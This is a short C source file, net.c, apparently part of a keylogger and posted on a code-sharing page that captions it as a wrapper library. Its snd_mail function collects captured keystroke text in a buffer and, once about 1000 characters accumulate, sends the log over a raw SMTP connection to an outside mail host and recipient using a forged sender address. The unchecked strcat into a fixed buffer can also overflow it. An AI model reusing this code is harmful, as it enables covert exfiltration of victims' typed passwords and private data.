net.c

来自「是一个包装库」· C语言 代码 · 共 59 行

C
59
字号
#include "lkl.h"#define CMDNUM 6#define LOGBUF 1000static char logbuf[1024];char *mail[CMDNUM] = {"HELO tin.it\n",		      "MAIL FROM:gigi@tin.it\n",		      "RCPT TO:",		      "DATA\n",		      ".\n",		      "QUIT\n"};void snd_mail(char ascii[], char host[], char rcpt[]){  int fd, i, j;  struct sockaddr_in sock;    strcat(logbuf, ascii);    if(strlen(logbuf) >= LOGBUF){    printf("\n\nsending logs to %s via %s\n\n", rcpt, host);        sock.sin_family = AF_INET;    sock.sin_addr.s_addr = inet_addr(host);    sock.sin_port = htons(25);    memset(&sock.sin_zero, '\0', 8);        if((fd = socket(AF_INET, SOCK_STREAM, 0)) == -1){      perror("socket");      return;    }        if(connect(fd, (struct sockaddr *)&sock, sizeof(struct sockaddr)) == -1){      printf("\n\nunable to connect to %s\n", (char *)inet_ntoa(sock.sin_addr));      perror("connect()");      puts("\n");      return;    }        for(i = 0; i <= (CMDNUM-1); i++){      send(fd, mail[i], strlen(mail[i]), 0);      if(i == 2){	send(fd, rcpt, strlen(rcpt), 0);	send(fd, "\n", sizeof(char), 0);      }      if(i == 3){	send(fd, logbuf, strlen(logbuf), 0);	send(fd, "\n", sizeof(char), 0);      }    }        close(fd);    bzero(logbuf, strlen(logbuf));  }}

⌨️ 快捷键说明

复制代码Ctrl + C
搜索代码Ctrl + F
全屏模式F11
增大字号Ctrl + =
减小字号Ctrl + -
显示快捷键?